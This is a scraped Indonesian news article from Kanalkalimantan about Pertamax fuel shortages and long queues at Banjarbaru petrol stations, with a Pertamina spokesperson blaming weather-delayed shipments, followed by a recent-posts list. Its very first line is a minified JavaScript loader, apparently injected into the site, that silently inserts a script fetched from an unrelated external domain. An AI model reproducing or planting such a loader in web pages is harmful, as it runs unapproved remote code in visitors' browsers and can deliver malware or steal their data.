(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Antrean Mengular di SPBU, Stok Pertamax Kosong 4 Hari


KANALKALIMANTAN.COM, BANJARBARU – Lonjakan antrean bahan bakar minyak (BBM) jenis Pertamax terjadi di sejumlah Stasiun Pengisian Bahan Bakar Umum (SPBU) di Kota Banjarbaru, Provinsi Kalimantan Selatan, Jumat (21/11/2025) siang.

Pantauan Kanalkalimantan pada Jumat siang hingga sore areal pengisian Pertamax diserbu masyarakat yang sebelumnya mengeluhkan kesulitan mencari Pertamax, bahkan di eceran sekalipun.

Sejumlah SPBU yang memulihkan persedian Pertamax di Banjarbaru di antaranya SPBU Coco Jalan Ahmad Yani yang membuka antrean hingga sore hari.

Sementara SPBU Jembatan Kembar, Loktabat Utara, sempat diserbu masyarakat hingga petang kemudian ditutup karena persediaan kembali habis.

Baca juga: Menunggu Kejelasan Uang Raib Rp2,6 Miliar, Sekda Banjarbaru: Masih Audit, Belum Ada yang Ditahan

Ada pula SPBU di Jalan STM, Kelurahan Komet dekat mini market Pinus yang hingga petang dipenuhi antrean di jalur Pertamax. Antrean sepeda motor mengular hingga ke luar SPBU.

Sedangkan tiga buah SPBU di Jalan Trikora Banjarbaru dari pantauan belum ada pengiriman BBM jenis Pertamax dari PT Pertamina kosong tiga sampai empat hari yang lalu.

Menanggapi kondisi kekosongan BBM jenis Pertamax ini, PT Pertamina Patra Niaga Regional Kalimantan angkat bicara.

Area Manager Communication, Relations & CSR Regional Kalimantan PT Pertamina Patra Niaga, Edi Mangun memastikan langkah pemulihan suplai Pertamax di sejumlah SPBU di Banjarbaru terus dilakukan secara bertahap.

Baca juga: ‘Rayap Besi’ Beraksi, Puluhan Bollard Trotoar Panglima Batur Dicuri

Menurut Edi Mangun peningkatan konsumsi yang cukup signifikan oleh masyarakat dalam beberapa waktu terakhir menyebabkan penyerapan produk Pertamax di SPBU berlangsung lebih cepat dari biasanya.

Di sisi pengiriman produk sempat mengalami kendala yang disebabkan cuaca di wilayah perairan.

“Kendala cuaca menyebabkan pengiriman produk Pertamax ke terminal BBM dari titik suplai utama terhambat, sehingga mempengaruhi stok di SPBU,” ungkap Edi Mangun dalam keterangan yang diterima Kanalkalimantan, Jumat (21/11/2025) sore.

Namun, katanya, Pertamina Patra Niaga Regional Kalimantan telah melakukan langkah untuk mengatasi kendala tersebut dengan melakukan percepatan suplai BBM dari Integrated Terminal Banjarmasin.

Baca juga: Harga Wortel dan Sawi Naik di Pasar Bauntung Banjarbaru

“Termasuk build-up stock, pemantauan jadwal pengiriman kapal, serta antisipasi potensi hambatan cuaca yang dapat memengaruhi distribusi,” sebut dia.

Ia juga mengatakan suplai ke Banjarbaru telah kembali berjalan bertahap sejak Selasa (19/11/2025) kemarin.

“Untuk mengatasi antrean, kami mempercepat pengiriman produk ke SPBU dan mengatur penyaluran berlangsung dengan optimal untuk memenuhi kebutuhan masyarakat,” tambahnya.

Selain itu, Pertamina juga terus melakukan penataan manajemen stok di SPBU agar ketersediaan Pertamax tetap terjaga selama proses pemulihan berlangsung.

Baca juga: BPJS Kesehatan Lakukan Rekredensialing di RSUD Kapuas

Kemudian pihaknya juga memastikan layanan kepada masyarakat berjalan dengan baik melalui monitoring yang rutin dilakukan.

“Kami menyampaikan permohonan maaf atas ketidaknyamanan yang dirasakan oleh konsumen. Pertamina terus bergerak cepat untuk mengatasi kendala di lapangan dan menyiapkan berbagai langkah antisipasi,” ungkap Edi.

Selain memastikan pemulihan stok Pertamax, Pertamina Patra Niaga juga menjamin kualitas BBM di seluruh SPBU tetap sesuai spesifikasi yang telah ditentukan.

“Kami terus berupaya memberikan layanan terbaik, termasuk memastikan bahwa seluruh produk BBM yang diterima masyarakat memenuhi standar kualitas Pertamina,” tuntasnya.

Pertamina Patra Niaga Regional Kalimantan mengimbau masyarakat untuk tetap membeli BBM sesuai kebutuhan.

Konsumen yang membutuhkan informasi atau ingin menyampaikan laporan dapat menghubungi Pertamina Contact Center 135, email pcc135@pertamina .com, atau media sosial resmi @pertamina135. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

5 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

19 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

20 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

1 hari ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

1 hari ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

This website uses cookies.